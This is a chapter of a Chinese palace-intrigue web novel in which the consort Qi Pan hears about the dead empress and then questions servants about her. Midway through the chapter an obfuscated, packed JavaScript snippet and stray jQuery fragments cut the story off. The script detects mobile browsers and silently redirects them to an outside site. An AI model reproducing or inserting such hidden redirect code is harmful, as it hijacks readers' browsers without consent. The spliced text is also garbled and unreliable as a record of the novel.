13.探月光

作品:《暴君害我高考失利

    她自己倒是不急着喝,而是将之捏起,仔细地瞧了起来。


    “茶不错,可惜用的水不好。”说着,她又把茶搁在了一边。


    齐盼见状,也随之放下茶杯。


    只听孟玉荣嗤笑:“你倒是跟得紧。”


    齐盼垂眼:“皇上特意嘱咐,叫妾跟您多学着点。”她把万璲搬了出来。


    孟玉荣朝她斜睨过来,打量了她好半晌后,抬手挥退了众人。


    身后的屋门当即被人轻掩上,二人虽对坐无言,但依稀能听见屋内的炭火正滋滋地燃着。


    孟玉荣道:“本宫从前倒不知你原是个大智若愚之人。”


    听不出是褒是贬,齐盼索性不吭声,等着孟玉荣继续说下去。


    “本宫这几日都在想,皇上究竟为何要如此对你,现在应当是想通了两分。”孟玉荣顿下,将茶杯往旁一推,身子则朝前倾来,伸手虚托起齐盼的脸,左一转右一拨,最终点头肯定道,“你确实像极了姐姐。”


    “尤其是那股机灵劲,还有能颠倒是非的本事。”孟玉荣的手指点在了齐盼面颊的一颗痣上,“还有这颗痣。连痣的位置都和她生得一样。”


    “能像娘娘的姐姐,是妾的福气。”齐盼道。


    孟玉荣不住弯了唇角:“先皇后才不是我的亲姐姐。”


    “先皇后?”话才出口,齐盼却生怕自己显得过于兴奋了些。她原就想借卖孟玉荣一个人情好向她探听些先皇后的事,不想她如今竟自己找上门来。既如此,那这人情便往后寻机再论吧。


    孟玉荣却不料齐盼会是这般反应,遂不解:“你倒是激动。”


    还真是怕什么来什么,齐盼低下头,回想着冬露的话细声细语地说起来,毕竟凡事都要有个印子:“妾曾听说宫中的玉脂羹就是皇后姐姐专为皇上设计的菜品。妾有幸尝过一次,一直记到现在。”


    “是记人,还是记事?”


    “妾瞒不过娘娘,是既记人又记事。”


    孟玉荣听罢,露出少许得意神色:“怎么?怕皇上真将你当作了姐姐?”


    齐盼装作老实地答道:“妾不想过成别人的样子。”但也是真话。


    “放心,你怎么都不可能成为她的。”孟玉荣难得失了神气,“谁都不可能。”


    齐盼趁机追问:“那皇后姐姐是什么样的人?”


    “她——”孟玉荣的视线落在不远处闭合严实的窗上。窗前放有一绿栽,枝叶细嫩,是雾绒绒的绿色。


    “是个傻的。”


    齐盼静静地听着。


    “她姓江,叫景然,是江太师的孙女。比我大三岁。我们是从小一起长大的,只是在她还小的时候,先帝就给她和皇上赐了婚。”


    “庆和五年,她被迎进了宫。庆和六年,我也进宫了。”


    “我入宫前,父亲母亲生怕我在宫里会受委屈,连着几夜都没睡好。但我和他们说,宫里有江姐姐在,他们用不着担心我的。”


    “那一年我十五岁,欢欢喜喜进了宫以后,却发现她在短短一年里竟变了样。发髻梳高了,妆容衣服的颜色都浓艳了,好在见到我的时候还是那么爱笑。”孟玉荣的语气逐渐冷下来,“可她为什么对那个人也是那么的爱笑?为什么她对那个人还会是不一样的笑?”


    她看向齐盼:“我知道,她这是动心了。”


    动心......齐盼似乎已经许久没有听到能如此之肯定地定义一个人心意的话了,尤其是在这个红墙深深的地方。她习惯了这里的女人不爱那个男人,习惯了这里的人都各自过着自己的生活,突然被告知这里曾有一个女人为那个男人动过心,她的心也不住地诧异地为之一震。


    孟玉荣的笑就像是有风往石头的裂隙中吹了口气。她其实是笑不出来的,但她确确实实地身心裂损了:“可她在二十岁的那年,被她的心上人,给活活害死了。”


    “是万璲......”孟玉荣常喜欢涂白了脸,抹红了唇。眼下她那两瓣唇正颤着,如那难捱寒风吹凌的薄瓣的花,“是万璲杀了她......”


    这是孟玉荣第一次对着一个并不算熟悉的人喊出那个名字。她畅快极了。


    “所以你才这么恨他?”


    “很明显吗?”


    谁叫她的演技一点都不高明,见到万璲时那双眼睛都要飘到天上去了。齐盼几经犹豫,还是点了头。


    孟玉荣才掖去了泪,眼下却又笑了起来,只是笑意里拖着倦意:“这么说他应该也看出来了。就是要叫他看出来才好。江姐姐那样在意体面的人却死在荒山野岭里,我不好过,他也别想好过。一个孬种还想拿我母家来吓唬我。”


    “娘娘又怎知他这是在吓唬你?”


    “自然是我父亲告诉我的。”


    齐盼忙打断:“娘娘慎言!”她竟不知这天底下怎还能有这般胆大的人,“小心隔墙有耳。”


    孟玉荣摆手:“怕什么,这崇禧宫的人全都是我父亲拜托林总管精挑细选出来的。”


    齐盼原还想说些什么,但动了动嘴还是没再说下去,眼下只剩羡慕。


    不过等临走时她还是在孟玉荣耳边好意提醒道:“娘娘,妾觉得有些事你自己知道就够了。妾这回就当什么都不知道,你也要小心以后被人抓住把柄才好。”


    孟玉荣愣了愣,微侧过头:“你倒是有心。”她话里有些别扭,“都怨你,你这接连来了几日,害得本宫也跟着起早,明日就歇一天。”


    齐盼大喜:“多谢娘娘!”


    是夜。


    齐盼用了晚膳后,难得没嚷嚷着要睡,而是叫人在院子里支起了火盆,随即拉着几个太监宫女一道在火盆边坐下。


    冬夜里的暖火总会在周遭遗留下些瞬灭的火点,像极了星子。也兴许这星子本就是由火偷来的,只因它太爱这人间了,于是在凡人一睹绚烂后,便急着掐灭它的罪证,再而反复。


    “今晚我们相聚在这里,是为了庆祝大家明天都能多休息半天!”齐盼带头道,“我明天一定要睡到日上三竿,谁来都不准叫我。”


    可小太监夏竹非但是个嘴快的,且他的这张嘴还是张乌鸦嘴:“那如果是皇上来呢?”话音未落,就被另一个较细心的太监捂住了嘴,“呸呸呸,你别乱说,咱们昭仪可还想多睡会。”


    齐盼满意点头:“就是,难道你不想多歇会?”她正伸出手烤着火,掌心暖融融的,甚是舒服。她状若无意地问起:“各位都是什么时候进的宫啊?”


    “庆和十年。”夏竹抢答道。


    “我也是!”有小宫女接话。


    齐盼索性把话再挑明了些,举手问:“有庆和八年前就已经入宫的吗?”仅凭孟玉荣一家之言显然不够,但郑尤雁还没回来,她只能向旁人打听起先皇后的事。


    本着就近原则,她便先向自己这撷芳宫里的人下手。


    “奴才是庆和五年入的宫。”将才那细心的太监环顾了圈四周道。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16416365|184067||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    他叫秋霜。是齐盼搬来撷芳宫后被人点过来的。


    齐盼和冬露对视了眼,冬露问道:“秋公公从前是在哪里当值的?”


    秋霜从地上站起,毕恭毕敬地说:“回昭仪,奴才曾是在长幸宫的。”


    冬露惊喜:“想不到秋公公竟是先皇后的人。”


    齐盼托着下巴故作无意地提起:“我记得那一年好像先皇后也才进宫……”


    秋霜颔首:“奴才确实一进宫就被林总管拨过去伺候先皇后了。”


    “那先皇后可有像传闻中的那般漂亮?”夏竹好奇。


    此话一出,几个宫女太监便都哄闹开来。


    “是呀是呀!秋公公快与我们讲讲!”


    齐盼看着开心,还叫冬露把自己晚膳时特意剩下的糕点分给了众人。


    “今日膳房做的是梅花饼,昭仪想请大家伙都尝尝,边吃边听秋公公讲故事!”


    撷芳宫的人大多都是新进宫的,心思还活络得很,为了道个谢,各式各样的吉祥话张口就来。


    齐盼也毫不客气,一一应下后,一一回赠。


    等轮到了秋霜,只见他上前一步躬身行礼,郑重道谢:“奴才谢过昭仪。”


    “小意思小意思,只要你喜欢吃就好。”齐盼稍显不自在地摆摆手。


    时至今日,虽说她来这也有了半月有余,可她到底还是不能习惯一个人需要对自己卑躬屈膝如此。她下意识想要去扶,却见秋霜的腰弯得更低了。


    “昭仪能念着奴才,奴才无以为报。”


    齐盼不知道做奴才做到这份上,究竟是幸还是不幸,但她清楚做人不能这样,索性抓住他的胳膊强行将他的腰背拉直了:“别这样,站好些。”说完,她又对众人道:“你们也是,记得以后都要站得直直的才好。”


    话音刚落,约莫静了一瞬,众人齐齐应声:“是——”


    瞬间,几道声音不约而同地扑到了一起,原该有人细声些,有人瓮声些,有人喜短促,有人意长拖,现在却像是合成了一道不高不低的平平的浪。旋即,等这道浪再拍上齐盼时,便又散成了几朵不一的水花,他们笑了起来,其间有内敛的,也有粗野的。


    包括一个憋着笑的。


    齐盼拿火钳拨了拨炭火,顿时,黑色炭身又裂出刺目的红缝,而变灰的那一边已经决绝地成灰落了下去。


    齐盼又暗暗思忖起来。她起初和万璲谈条件时还是大意了,她想到了齐家,想到了春福,可她却没想起这撷芳宫宫里头的人。要是等她日后出了宫,也不知他们该怎么办?他们俨然是跟着自己轻松自在惯了,平时做做活,剩下的就是一起聊聊天,要是被分到其他宫里,来日因此而遭人斥责打骂了又该怎么办?


    她看向秋霜。


    却见秋霜一怔后,又是对自己一拜:“奴才惶恐。既然大家伙都想听先皇后的事,不若娘娘先问奴才一个,这样奴才讲完再吃这饼也就不觉得心里难安了。”


    到底是从皇后宫里出来的人,齐盼佩服。


    她忽然有了主意,与其求万璲保着他们,不如给他们找个像秋霜一般的老师,学一学他日能免受责罚的“混子术”。


    想来齐盼是对自己的决断满意极了,像是予自己肯定一般地忽然一拍手,却不想众人当即没了声响。


    众目睽睽之下,她招了招手示意秋霜坐下,遂压低了声音问道:“那要不就讲讲咱们皇上和先皇后的爱与纠葛吧。”